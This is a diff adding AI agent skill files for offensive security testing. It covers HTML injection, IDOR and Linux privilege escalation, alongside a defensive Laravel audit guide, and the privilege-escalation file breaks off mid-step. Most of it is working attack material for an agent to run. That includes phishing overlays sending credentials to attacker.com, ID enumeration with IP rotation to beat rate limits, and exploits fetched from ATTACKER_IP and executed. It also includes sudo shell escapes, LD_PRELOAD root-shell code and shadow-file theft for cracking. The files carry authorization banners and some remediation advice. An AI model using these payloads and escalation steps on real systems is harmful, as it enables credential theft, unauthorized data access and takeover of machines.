verification) or drop the finding. + +**If no checks produced a finding, report zero findings. Do not invent issues.** + +## Step 4: Report Findings + +````markdown +## GitHub Actions Security Review + +### Findings + +#### [GHA-001] [Title] (Severity: Critical/High/Medium) +- **Workflow**: `.github/workflows/release.yml:15` +- **Trigger**: `pull_request_target` +- **Confidence**: HIGH — confirmed through attack path tracing +- **Exploitation Scenario**: + 1. [Step-by-step attack] +- **Impact**: [What attacker gains] +- **Fix**: [Code that fixes the issue] + +### Needs Verification +[MEDIUM confidence items with explanation of what to verify] + +### Reviewed and Cleared +[Workflows reviewed and confirmed safe] +```` + +If no findings: "No exploitable vulnerabilities identified. All workflows reviewed and cleared." + +## Limitations +- Use this skill only when the task clearly matches the scope described above. +- Do not treat the output as a substitute for environment-specific validation, testing, or expert review. +- Stop and ask for clarification if required inputs, permissions, safety boundaries, or success criteria are missing. diff --git a/skills/html-injection-testing/SKILL.md b/skills/html-injection-testing/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..c99eaf5987bf0890be35c0a7423d32aa55f91871 --- /dev/null +++ b/skills/html-injection-testing/SKILL.md @@ -0,0 +1,504 @@ +--- +name: html-injection-testing +description: "Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms." +risk: offensive +source: community +author: zebbern +date_added: "2026-02-27" +--- + +> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. + +# HTML Injection Testing + +## Purpose + +Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms. + +## Prerequisites + +### Required Tools +- Web browser with developer tools +- Burp Suite or OWASP ZAP +- Tamper Data or similar proxy +- cURL for testing payloads + +### Required Knowledge +- HTML fundamentals +- HTTP request/response structure +- Web application input handling +- Difference between HTML injection and XSS + +## Outputs and Deliverables + +1. **Vulnerability Report** - Identified injection points +2. **Exploitation Proof** - Demonstrated content manipulation +3. **Impact Assessment** - Potential phishing and defacement risks +4. **Remediation Guidance** - Input validation recommendations + +## Core Workflow + +### Phase 1: Understanding HTML Injection + +HTML injection occurs when user input is reflected in web pages without proper sanitization: + +```html + +
+ Welcome, +
+ + +?name=

Injected Content

+ + +
+ Welcome,

Injected Content

+
+``` + +Key differences from XSS: +- HTML injection: Only HTML tags are rendered +- XSS: JavaScript code is executed +- HTML injection is often stepping stone to XSS + +Attack goals: +- Modify website appearance (defacement) +- Create fake login forms (phishing) +- Inject malicious links +- Display misleading content + +### Phase 2: Identifying Injection Points + +Map application for potential injection surfaces: + +``` +1. Search bars and search results +2. Comment sections +3. User profile fields +4. Contact forms and feedback +5. Registration forms +6. URL parameters reflected on page +7. Error messages +8. Page titles and headers +9. Hidden form fields +10. Cookie values reflected on page +``` + +Common vulnerable parameters: +``` +?name= +?user= +?search= +?query= +?message= +?title= +?content= +?redirect= +?url= +?page= +``` + +### Phase 3: Basic HTML Injection Testing + +Test with simple HTML tags: + +```html + +

Test Injection

+Bold Text +Italic Text +Underlined Text +Red Text + + +
Injected DIV
+

Injected paragraph

+


Line breaks + + +Click Here +Legitimate Link + + + + +``` + +Testing workflow: +```bash +# Test basic injection +curl "http://target.com/search?q=

Test

" + +# Check if HTML renders in response +curl -s "http://target.com/search?q=Bold" | grep -i "bold" + +# Test in URL-encoded form +curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E" +``` + +### Phase 4: Types of HTML Injection + +#### Stored HTML Injection + +Payload persists in database: + +```html + +Name: John Doe +Bio:
+

Site Under Maintenance

+

Please login at portal.company.com

+
+ + +Great article! +
+ + + +
+``` + +#### Reflected GET Injection + +Payload in URL parameters: + +```html + +http://target.com/welcome?name=

Welcome%20Admin

+ + +http://target.com/search?q=Your%20account%20has%20been%20compromised +``` + +#### Reflected POST Injection + +Payload in POST data: + +```bash +# POST injection test +curl -X POST -d "comment=
Malicious Content
" \ + http://target.com/submit + +# Form field injection +curl -X POST -d "name=&email=test@test.com" \ + http://target.com/register +``` + +#### URL-Based Injection + +Inject into displayed URLs: + +```html + +http://target.com/page/

Injected

+ + +http://target.com/users//profile +``` + +### Phase 5: Phishing Attack Construction + +Create convincing phishing forms: + +```html + +
+

Session Expired

+

Your session has expired. Please log in again.

+
+
+

+
+

+ +
+
+ + + +
+ + + +
+``` + +URL-encoded phishing link: +``` +http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E +``` + +### Phase 6: Defacement Payloads + +Website appearance manipulation: + +```html + +
+

HACKED BY SECURITY TESTER

+
+ + + + +

This site has been compromised

+ + + + + + + + SECURITY VULNERABILITY DETECTED + +``` + +### Phase 7: Advanced Injection Techniques + +#### CSS Injection + +```html + + + + +
Content
+``` + +#### Meta Tag Injection + +```html + + + + + +``` + +#### Form Action Override + +```html + +
+ + + +
+``` + +#### iframe Injection + +```html + + + + + +``` + +### Phase 8: Bypass Techniques + +Evade basic filters: + +```html + +

Test

+ + + +<h1>Encoded</h1> +%3Ch1%3EURL%20Encoded%3C%2Fh1%3E + + +Split Tag + + +Null Byte + + +%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E + + +\u003ch1\u003eUnicode\u003c/h1\u003e + + +
Hover me
+ +``` + +### Phase 9: Automated Testing + +#### Using Burp Suite + +``` +1. Capture request with potential injection point +2. Send to Intruder +3. Mark parameter value as payload position +4. Load HTML injection wordlist +5. Start attack +6. Filter responses for rendered HTML +7. Manually verify successful injections +``` + +#### Using OWASP ZAP + +``` +1. Spider the target application +2. Active Scan with HTML injection rules +3. Review Alerts for injection findings +4. Validate findings manually +``` + +#### Custom Fuzzing Script + +```python +#!/usr/bin/env python3 +import requests +import urllib.parse + +target = "http://target.com/search" +param = "q" + +payloads = [ + "

Test

", + "Bold", + "", + "", + "Click", + "
Styled
", + "Moving", + "", +] + +for payload in payloads: + encoded = urllib.parse.quote(payload) + url = f"{target}?{param}={encoded}" + + try: + response = requests.get(url, timeout=5) + if payload.lower() in response.text.lower(): + print(f"[+] Possible injection: {payload}") + elif "

" in response.text or "" in response.text: + print(f"[?] Partial reflection: {payload}") + except Exception as e: + print(f"[-] Error: {e}") +``` + +### Phase 10: Prevention and Remediation + +Secure coding practices: + +```php +// PHP: Escape output +echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); + +// PHP: Strip tags +echo strip_tags($user_input); + +// PHP: Allow specific tags only +echo strip_tags($user_input, '

'); +``` + +```python +# Python: HTML escape +from html import escape +safe_output = escape(user_input) + +# Python Flask: Auto-escaping +{{ user_input }} # Jinja2 escapes by default +{{ user_input | safe }} # Marks as safe (dangerous!) +``` + +```javascript +// JavaScript: Text content (safe) +element.textContent = userInput; + +// JavaScript: innerHTML (dangerous!) +element.innerHTML = userInput; // Vulnerable! + +// JavaScript: Sanitize +const clean = DOMPurify.sanitize(userInput); +element.innerHTML = clean; +``` + +Server-side protections: +- Input validation (whitelist allowed characters) +- Output encoding (context-aware escaping) +- Content Security Policy (CSP) headers +- Web Application Firewall (WAF) rules + +## Quick Reference + +### Common Test Payloads + +| Payload | Purpose | +|---------|---------| +| `

Test

` | Basic rendering test | +| `Bold` | Simple formatting | +| `Link` | Link injection | +| `` | Image tag test | +| `
` | Style injection | +| `
` | Form hijacking | + +### Injection Contexts + +| Context | Test Approach | +|---------|---------------| +| URL parameter | `?param=

test

` | +| Form field | POST with HTML payload | +| Cookie value | Inject via document.cookie | +| HTTP header | Inject in Referer/User-Agent | +| File upload | HTML file with malicious content | + +### Encoding Types + +| Type | Example | +|------|---------| +| URL encoding | `%3Ch1%3E` = `

` | +| HTML entities | `<h1>` = `

` | +| Double encoding | `%253C` = `<` | +| Unicode | `\u003c` = `<` | + +## Constraints and Limitations + +### Attack Limitations +- Modern browsers may sanitize some injections +- CSP can prevent inline styles and scripts +- WAFs may block common payloads +- Some applications escape output properly + +### Testing Considerations +- Distinguish between HTML injection and XSS +- Verify visual impact in browser +- Test in multiple browsers +- Check for stored vs reflected + +### Severity Assessment +- Lower severity than XSS (no script execution) +- Higher impact when combined with phishing +- Consider defacement/reputation damage +- Evaluate credential theft potential + +## Troubleshooting + +| Issue | Solutions | +|-------|-----------| +| HTML not rendering | Check if output HTML-encoded; try encoding variations; verify HTML context | +| Payload stripped | Use encoding variations; try tag splitting; test null bytes; nested tags | +| XSS not working (HTML only) | JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects | + +## When to Use +This skill is applicable to execute the workflow or actions described in the overview. diff --git a/skills/idor-testing/SKILL.md b/skills/idor-testing/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..6ed50df7054e3094d8175d8c4a2c90ea4b4ae861 --- /dev/null +++ b/skills/idor-testing/SKILL.md @@ -0,0 +1,448 @@ +--- +name: idor-testing +description: "Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications." +risk: offensive +source: community +author: zebbern +date_added: "2026-02-27" +--- + +> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. + +# IDOR Vulnerability Testing + +## Purpose + +Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications. This skill covers both database object references and static file references, detection techniques using parameter manipulation and enumeration, exploitation via Burp Suite, and remediation strategies for securing applications against unauthorized access. + +## Inputs / Prerequisites + +- **Target Web Application**: URL of application with user-specific resources +- **Multiple User Accounts**: At least two test accounts to verify cross-user access +- **Burp Suite or Proxy Tool**: Intercepting proxy for request manipulation +- **Authorization**: Written permission for security testing +- **Understanding of Application Flow**: Knowledge of how objects are referenced (IDs, filenames) + +## Outputs / Deliverables + +- **IDOR Vulnerability Report**: Documentation of discovered access control bypasses +- **Proof of Concept**: Evidence of unauthorized data access across user contexts +- **Affected Endpoints**: List of vulnerable API endpoints and parameters +- **Impact Assessment**: Classification of data exposure severity +- **Remediation Recommendations**: Specific fixes for identified vulnerabilities + +## Core Workflow + +### 1. Understand IDOR Vulnerability Types + +#### Direct Reference to Database Objects +Occurs when applications reference database records via user-controllable parameters: +``` +# Original URL (authenticated as User A) +example.com/user/profile?id=2023 + +# Manipulation attempt (accessing User B's data) +example.com/user/profile?id=2022 +``` + +#### Direct Reference to Static Files +Occurs when applications expose file paths or names that can be enumerated: +``` +# Original URL (User A's receipt) +example.com/static/receipt/205.pdf + +# Manipulation attempt (User B's receipt) +example.com/static/receipt/200.pdf +``` + +### 2. Reconnaissance and Setup + +#### Create Multiple Test Accounts +``` +Account 1: "attacker" - Primary testing account +Account 2: "victim" - Account whose data we attempt to access +``` + +#### Identify Object References +Capture and analyze requests containing: +- Numeric IDs in URLs: `/api/user/123` +- Numeric IDs in parameters: `?id=123&action=view` +- Numeric IDs in request body: `{"userId": 123}` +- File paths: `/download/receipt_123.pdf` +- GUIDs/UUIDs: `/profile/a1b2c3d4-e5f6-...` + +#### Map User IDs +``` +# Access user ID endpoint (if available) +GET /api/user-id/ + +# Note ID patterns: +# - Sequential integers (1, 2, 3...) +# - Auto-incremented values +# - Predictable patterns +``` + +### 3. Detection Techniques + +#### URL Parameter Manipulation +``` +# Step 1: Capture original authenticated request +GET /api/user/profile?id=1001 HTTP/1.1 +Cookie: session=attacker_session + +# Step 2: Modify ID to target another user +GET /api/user/profile?id=1000 HTTP/1.1 +Cookie: session=attacker_session + +# Vulnerable if: Returns victim's data with attacker's session +``` + +#### Request Body Manipulation +``` +# Original POST request +POST /api/address/update HTTP/1.1 +Content-Type: application/json +Cookie: session=attacker_session + +{"id": 5, "userId": 1001, "address": "123 Attacker St"} + +# Modified request targeting victim +{"id": 5, "userId": 1000, "address": "123 Attacker St"} +``` + +#### HTTP Method Switching +``` +# Original GET request may be protected +GET /api/admin/users/1000 → 403 Forbidden + +# Try alternative methods +POST /api/admin/users/1000 → 200 OK (Vulnerable!) +PUT /api/admin/users/1000 → 200 OK (Vulnerable!) +``` + +### 4. Exploitation with Burp Suite + +#### Manual Exploitation +``` +1. Configure browser proxy through Burp Suite +2. Login as "attacker" user +3. Navigate to profile/data page +4. Enable Intercept in Proxy tab +5. Capture request with user ID +6. Modify ID to victim's ID +7. Forward request +8. Observe response for victim's data +``` + +#### Automated Enumeration with Intruder +``` +1. Send request to Intruder (Ctrl+I) +2. Clear all payload positions +3. Select ID parameter as payload position +4. Configure attack type: Sniper +5. Payload settings: + - Type: Numbers + - Range: 1 to 10000 + - Step: 1 +6. Start attack +7. Analyze responses for 200 status codes +``` + +#### Battering Ram Attack for Multiple Positions +``` +# When same ID appears in multiple locations +PUT /api/addresses/§5§/update HTTP/1.1 + +{"id": §5§, "userId": 3} + +Attack Type: Battering Ram +Payload: Numbers 1-1000 +``` + +### 5. Common IDOR Locations + +#### API Endpoints +``` +/api/user/{id} +/api/profile/{id} +/api/order/{id} +/api/invoice/{id} +/api/document/{id} +/api/message/{id} +/api/address/{id}/update +/api/address/{id}/delete +``` + +#### File Downloads +``` +/download/invoice_{id}.pdf +/static/receipts/{id}.pdf +/uploads/documents/{filename} +/files/reports/report_{date}_{id}.xlsx +``` + +#### Query Parameters +``` +?userId=123 +?orderId=456 +?documentId=789 +?file=report_123.pdf +?account=user@email.com +``` + +## Quick Reference + +### IDOR Testing Checklist + +| Test | Method | Indicator of Vulnerability | +|------|--------|---------------------------| +| Increment/Decrement ID | Change `id=5` to `id=4` | Returns different user's data | +| Use Victim's ID | Replace with known victim ID | Access granted to victim's resources | +| Enumerate Range | Test IDs 1-1000 | Find valid records of other users | +| Negative Values | Test `id=-1` or `id=0` | Unexpected data or errors | +| Large Values | Test `id=99999999` | System information disclosure | +| String IDs | Change format `id=user_123` | Logic bypass | +| GUID Manipulation | Modify UUID portions | Predictable UUID patterns | + +### Response Analysis + +| Status Code | Interpretation | +|-------------|----------------| +| 200 OK | Potential IDOR - verify data ownership | +| 403 Forbidden | Access control working | +| 404 Not Found | Resource doesn't exist | +| 401 Unauthorized | Authentication required | +| 500 Error | Potential input validation issue | + +### Common Vulnerable Parameters + +| Parameter Type | Examples | +|----------------|----------| +| User identifiers | `userId`, `uid`, `user_id`, `account` | +| Resource identifiers | `id`, `pid`, `docId`, `fileId` | +| Order/Transaction | `orderId`, `transactionId`, `invoiceId` | +| Message/Communication | `messageId`, `threadId`, `chatId` | +| File references | `filename`, `file`, `document`, `path` | + +## Constraints and Limitations + +### Operational Boundaries +- Requires at least two valid user accounts for verification +- Some applications use session-bound tokens instead of IDs +- GUID/UUID references harder to enumerate but not impossible +- Rate limiting may restrict enumeration attempts +- Some IDOR requires chained vulnerabilities to exploit + +### Detection Challenges +- Horizontal privilege escalation (user-to-user) vs vertical (user-to-admin) +- Blind IDOR where response doesn't confirm access +- Time-based IDOR in asynchronous operations +- IDOR in websocket communications + +### Legal Requirements +- Only test applications with explicit authorization +- Document all testing activities and findings +- Do not access, modify, or exfiltrate real user data +- Report findings through proper disclosure channels + +## Examples + +### Example 1: Basic ID Parameter IDOR +``` +# Login as attacker (userId=1001) +# Navigate to profile page + +# Original request +GET /api/profile?id=1001 HTTP/1.1 +Cookie: session=abc123 + +# Response: Attacker's profile data + +# Modified request (targeting victim userId=1000) +GET /api/profile?id=1000 HTTP/1.1 +Cookie: session=abc123 + +# Vulnerable Response: Victim's profile data returned! +``` + +### Example 2: IDOR in Address Update Endpoint +``` +# Intercept address update request +PUT /api/addresses/5/update HTTP/1.1 +Content-Type: application/json +Cookie: session=attacker_session + +{ + "id": 5, + "userId": 1001, + "street": "123 Main St", + "city": "Test City" +} + +# Modify userId to victim's ID +{ + "id": 5, + "userId": 1000, # Changed from 1001 + "street": "Hacked Address", + "city": "Exploit City" +} + +# If 200 OK: Address created under victim's account +``` + +### Example 3: Static File IDOR +``` +# Download own receipt +GET /api/download/5 HTTP/1.1 +Cookie: session=attacker_session + +# Response: PDF of attacker's receipt (order #5) + +# Attempt to access other receipts +GET /api/download/3 HTTP/1.1 +Cookie: session=attacker_session + +# Vulnerable Response: PDF of victim's receipt (order #3)! +``` + +### Example 4: Burp Intruder Enumeration +``` +# Configure Intruder attack +Target: PUT /api/addresses/§1§/update +Payload Position: Address ID in URL and body + +Attack Configuration: +- Type: Battering Ram +- Payload: Numbers 0-20, Step 1 + +Body Template: +{ + "id": §1§, + "userId": 3 +} + +# Analyze results: +# - 200 responses indicate successful modification +# - Check victim's account for new addresses +``` + +### Example 5: Horizontal to Vertical Escalation +``` +# Step 1: Enumerate user roles +GET /api/user/1 → {"role": "user", "id": 1} +GET /api/user/2 → {"role": "user", "id": 2} +GET /api/user/3 → {"role": "admin", "id": 3} + +# Step 2: Access admin functions with discovered ID +GET /api/admin/dashboard?userId=3 HTTP/1.1 +Cookie: session=regular_user_session + +# If accessible: Vertical privilege escalation achieved +``` + +## Troubleshooting + +### Issue: All Requests Return 403 Forbidden +**Cause**: Server-side access control is implemented +**Solution**: +``` +# Try alternative attack vectors: +1. HTTP method switching (GET → POST → PUT) +2. Add X-Original-URL or X-Rewrite-URL headers +3. Try parameter pollution: ?id=1001&id=1000 +4. URL encoding variations: %31%30%30%30 for "1000" +5. Case variations for string IDs +``` + +### Issue: Application Uses UUIDs Instead of Sequential IDs +**Cause**: Randomized identifiers reduce enumeration risk +**Solution**: +``` +# UUID discovery techniques: +1. Check response bodies for leaked UUIDs +2. Search JavaScript files for hardcoded UUIDs +3. Check API responses that list multiple objects +4. Look for UUID patterns in error messages +5. Try UUID v1 (time-based) prediction if applicable +``` + +### Issue: Session Token Bound to User +**Cause**: Application validates session against requested resource +**Solution**: +``` +# Advanced bypass attempts: +1. Test for IDOR in unauthenticated endpoints +2. Check password reset/email verification flows +3. Look for IDOR in file upload/download +4. Test API versioning: /api/v1/ vs /api/v2/ +5. Check mobile API endpoints (often less protected) +``` + +### Issue: Rate Limiting Blocks Enumeration +**Cause**: Application implements request throttling +**Solution**: +``` +# Bypass techniques: +1. Add delays between requests (Burp Intruder throttle) +2. Rotate IP addresses (proxy chains) +3. Target specific high-value IDs instead of full range +4. Use different endpoints for same resources +5. Test during off-peak hours +``` + +### Issue: Cannot Verify IDOR Impact +**Cause**: Response doesn't clearly indicate data ownership +**Solution**: +``` +# Verification methods: +1. Create unique identifiable data in victim account +2. Look for PII markers (name, email) in responses +3. Compare response lengths between users +4. Check for timing differences in responses +5. Use secondary indicators (creation dates, metadata) +``` + +## Remediation Guidance + +### Implement Proper Access Control +```python +# Django example - validate ownership +def update_address(request, address_id): + address = Address.objects.get(id=address_id) + + # Verify ownership before allowing update + if address.user != request.user: + return HttpResponseForbidden("Unauthorized") + + # Proceed with update + address.update(request.data) +``` + +### Use Indirect References +```python +# Instead of: /api/address/123 +# Use: /api/address/current-user/billing + +def get_address(request): + # Always filter by authenticated user + address = Address.objects.filter(user=request.user).first() + return address +``` + +### Server-Side Validation +```python +# Always validate on server, never trust client input +def download_receipt(request, receipt_id): + receipt = Receipt.objects.filter( + id=receipt_id, + user=request.user # Critical: filter by current user + ).first() + + if not receipt: + return HttpResponseNotFound() + + return FileResponse(receipt.file) +``` + +## When to Use +This skill is applicable to execute the workflow or actions described in the overview. diff --git a/skills/laravel-security-audit/SKILL.md b/skills/laravel-security-audit/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..3bcb13f86ec02ca88d0207fe0ac97d54cd418fe5 --- /dev/null +++ b/skills/laravel-security-audit/SKILL.md @@ -0,0 +1,229 @@ +--- +name: laravel-security-audit +description: "Security auditor for Laravel applications. Analyzes code for vulnerabilities, misconfigurations, and insecure practices using OWASP standards and Laravel security best practices." +risk: safe +source: community +date_added: "2026-02-27" +--- + +# Laravel Security Audit + +## Skill Metadata + +Name: laravel-security-audit +Focus: Security Review & Vulnerability Detection +Scope: Laravel 10/11+ Applications + +--- + +## Role + +You are a Laravel Security Auditor. + +You analyze Laravel applications for security vulnerabilities, +misconfigurations, and insecure coding practices. + +You think like an attacker but respond like a security engineer. + +You prioritize: + +- Data protection +- Input validation integrity +- Authorization correctness +- Secure configuration +- OWASP awareness +- Real-world exploit scenarios + +You do NOT overreact or label everything as critical. +You classify risk levels appropriately. + +--- + +## Use This Skill When + +- Reviewing Laravel code for vulnerabilities +- Auditing authentication/authorization flows +- Checking API security +- Reviewing file upload logic +- Validating request handling +- Checking rate limiting +- Reviewing .env exposure risks +- Evaluating deployment security posture + +--- + +## Do NOT Use When + +- The project is not Laravel-based +- The user wants feature implementation only +- The question is purely architectural (non-security) +- The request is unrelated to backend security + +--- + +## Threat Model Awareness + +Always consider: + +- Unauthenticated attacker +- Authenticated low-privilege user +- Privilege escalation attempts +- Mass assignment exploitation +- IDOR (Insecure Direct Object Reference) +- CSRF & XSS vectors +- SQL injection +- File upload abuse +- API abuse & rate bypass +- Session hijacking +- Misconfigured middleware +- Exposed debug information + +--- + +## Core Audit Areas + +### 1️⃣ Input Validation + +- Is all user input validated? +- Is FormRequest used? +- Is request()->all() used dangerously? +- Are validation rules sufficient? +- Are arrays properly validated? +- Are nested inputs sanitized? + +--- + +### 2️⃣ Authorization + +- Are Policies or Gates used? +- Is authorization checked in controllers? +- Is there IDOR risk? +- Can users access other users’ resources? +- Are admin routes properly protected? +- Are middleware applied consistently? + +--- + +### 3️⃣ Authentication + +- Is password hashing secure? +- Is sensitive data exposed in API responses? +- Is Sanctum/JWT configured securely? +- Are tokens stored safely? +- Is logout properly invalidating tokens? + +--- + +### 4️⃣ Database Security + +- Is mass assignment protected? +- Are $fillable / $guarded properly configured? +- Are raw queries used unsafely? +- Is user input directly used in queries? +- Are transactions used for critical operations? + +--- + +### 5️⃣ File Upload Handling + +- MIME type validation? +- File extension validation? +- Storage path safe? +- Public disk misuse? +- Executable upload risk? +- Size limits enforced? + +--- + +### 6️⃣ API Security + +- Rate limiting enabled? +- Throttling per user? +- Proper HTTP codes? +- Sensitive fields hidden? +- Pagination limits enforced? + +--- + +### 7️⃣ XSS & Output Escaping + +- Blade uses {{ }} instead of {!! !!}? +- API responses sanitized? +- User-generated HTML filtered? + +--- + +### 8️⃣ Configuration & Deployment + +- APP_DEBUG disabled in production? +- .env accessible via web? +- Storage symlink safe? +- CORS configuration safe? +- Trusted proxies configured? +- HTTPS enforced? + +--- + +## Risk Classification Model + +Each issue must be labeled as: + +- Critical +- High +- Medium +- Low +- Informational + +Do not exaggerate severity. + +--- + +## Response Structure + +When auditing code: + +1. Summary +2. Identified Vulnerabilities +3. Risk Level (per issue) +4. Exploit Scenario (if applicable) +5. Recommended Fix +6. Secure Refactored Example (if needed) + +--- + +## Behavioral Constraints + +- Do not invent vulnerabilities +- Do not assume production unless specified +- Do not recommend heavy external security packages unnecessarily +- Prefer Laravel-native mitigation +- Be realistic and precise +- Do not shame the code author + +--- + +## Example Audit Output Format + +Issue: Missing Authorization Check +Risk: High + +Problem: +The controller fetches a model by ID without verifying ownership. + +Exploit: +An authenticated user can access another user's resource by changing the ID. + +Fix: +Use policy check or scoped query. + +Refactored Example: + +```php +$post = Post::where('user_id', auth()->id()) + ->findOrFail($id); +``` + +## Limitations +- Use this skill only when the task clearly matches the scope described above. +- Do not treat the output as a substitute for environment-specific validation, testing, or expert review. +- Stop and ask for clarification if required inputs, permissions, safety boundaries, or success criteria are missing. diff --git a/skills/linux-privilege-escalation/SKILL.md b/skills/linux-privilege-escalation/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..b1b82cf93d01d7618c5cca69532b33d9d51dbc1d --- /dev/null +++ b/skills/linux-privilege-escalation/SKILL.md @@ -0,0 +1,513 @@ +--- +name: linux-privilege-escalation +description: "Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control." +risk: offensive +source: community +author: zebbern +date_added: "2026-02-27" +--- + +> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. + +# Linux Privilege Escalation + +## Purpose + +Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses. + +## Inputs / Prerequisites + +### Required Access +- Low-privilege shell access to target Linux system +- Ability to execute commands (interactive or semi-interactive shell) +- Network access for reverse shell connections (if needed) +- Attacker machine for payload hosting and receiving shells + +### Technical Requirements +- Understanding of Linux filesystem permissions and ownership +- Familiarity with common Linux utilities and scripting +- Knowledge of kernel versions and associated vulnerabilities +- Basic understanding of compilation (gcc) for custom exploits + +### Recommended Tools +- LinPEAS, LinEnum, or Linux Smart Enumeration scripts +- Linux Exploit Suggester (LES) +- GTFOBins reference for binary exploitation +- John the Ripper or Hashcat for password cracking +- Netcat or similar for reverse shells + +## Outputs / Deliverables + +### Primary Outputs +- Root shell access on target system +- Privilege escalation path documentation +- System enumeration findings report +- Recommendations for remediation + +### Evidence Artifacts +- Screenshots of successful privilege escalation +- Command output logs demonstrating root access +- Identified vulnerability details +- Exploited configuration files + +## Core Workflow + +### Phase 1: System Enumeration + +#### Basic System Information +Gather fundamental system details for vulnerability research: + +```bash +# Hostname and system role +hostname + +# Kernel version and architecture +uname -a + +# Detailed kernel information +cat /proc/version + +# Operating system details +cat /etc/issue +cat /etc/*-release + +# Architecture +arch +``` + +#### User and Permission Enumeration + +```bash +# Current user context +whoami +id + +# Users with login shells +cat /etc/passwd | grep -v nologin | grep -v false + +# Users with home directories +cat /etc/passwd | grep home + +# Group memberships +groups + +# Other logged-in users +w +who +``` + +#### Network Information + +```bash +# Network interfaces +ifconfig +ip addr + +# Routing table +ip route + +# Active connections +netstat -antup +ss -tulpn + +# Listening services +netstat -l +``` + +#### Process and Service Enumeration + +```bash +# All running processes +ps aux +ps -ef + +# Process tree view +ps axjf + +# Services running as root +ps aux | grep root +``` + +#### Environment Variables + +```bash +# Full environment +env + +# PATH variable (for hijacking) +echo $PATH +``` + +### Phase 2: Automated Enumeration + +Deploy automated scripts for comprehensive enumeration: + +```bash +# LinPEAS: download first, inspect the script, then execute only in an authorized lab +curl -L -o linpeas.sh https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh +less linpeas.sh +chmod +x linpeas.sh +./linpeas.sh + +# LinEnum +./LinEnum.sh -t + +# Linux Smart Enumeration +./lse.sh -l 1 + +# Linux Exploit Suggester +./les.sh +``` + +Transfer scripts to target system: + +```bash +# On attacker machine +python3 -m http.server 8000 + +# On target machine +wget http://ATTACKER_IP:8000/linpeas.sh +chmod +x linpeas.sh +./linpeas.sh +``` + +### Phase 3: Kernel Exploits + +#### Identify Kernel Version + +```bash +uname -r +cat /proc/version +``` + +#### Search for Exploits + +```bash +# Use Linux Exploit Suggester +./linux-exploit-suggester.sh + +# Manual search on exploit-db +searchsploit linux kernel [version] +``` + +#### Common Kernel Exploits + +| Kernel Version | Exploit | CVE | +|---------------|---------|-----| +| 2.6.x - 3.x | Dirty COW | CVE-2016-5195 | +| 4.4.x - 4.13.x | Double Fetch | CVE-2017-16995 | +| 5.8+ | Dirty Pipe | CVE-2022-0847 | + +#### Compile and Execute + +```bash +# Transfer exploit source +wget http://ATTACKER_IP/exploit.c + +# Compile on target +gcc exploit.c -o exploit + +# Execute +./exploit +``` + +### Phase 4: Sudo Exploitation + +#### Enumerate Sudo Privileges + +```bash +sudo -l +``` + +#### GTFOBins Sudo Exploitation +Reference https://gtfobins.github.io for exploitation commands: + +```bash +# Example: vim with sudo +sudo vim -c ':!/bin/bash' + +# Example: find with sudo +sudo find . -exec /bin/sh \; -quit + +# Example: awk with sudo +sudo awk 'BEGIN {system("/bin/bash")}' + +# Example: python with sudo +sudo python -c 'import os; os.system("/bin/bash")' + +# Example: less with sudo +sudo less /etc/passwd +!/bin/bash +``` + +#### LD_PRELOAD Exploitation +When env_keep includes LD_PRELOAD: + +```c +// shell.c +#include +#include +#include + +void _init() { + unsetenv("LD_PRELOAD"); + setgid(0); + setuid(0); + system("/bin/bash"); +} +``` + +```bash +# Compile shared library +gcc -fPIC -shared -o shell.so shell.c -nostartfiles + +# Execute with sudo +sudo LD_PRELOAD=/tmp/shell.so find +``` + +### Phase 5: SUID Binary Exploitation + +#### Find SUID Binaries + +```bash +find / -type f -perm -04000 -ls 2>/dev/null +find / -perm -u=s -type f 2>/dev/null +``` + +#### Exploit SUID Binaries +Reference GTFOBins for SUID exploitation: + +```bash +# Example: base64 for file reading +LFILE=/etc/shadow +base64 "$LFILE" | base64 -d + +# Example: cp for file writing +cp /bin/bash /tmp/bash +chmod +s /tmp/bash +/tmp/bash -p + +# Example: find with SUID +find . -exec /bin/sh -p \; -quit +``` + +#### Password Cracking via SUID + +```bash +# Read shadow file (if base64 has SUID) +base64 /etc/shadow | base64 -d > shadow.txt +base64 /etc/passwd | base64 -d > passwd.txt + +# On attacker machine +unshadow passwd.txt shadow.txt > hashes.txt +john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt +``` + +#### Add User to passwd (if nano/vim has SUID) + +```bash +# Generate password hash +openssl passwd -1 -salt new newpassword + +# Add to /etc/passwd (using SUID editor) 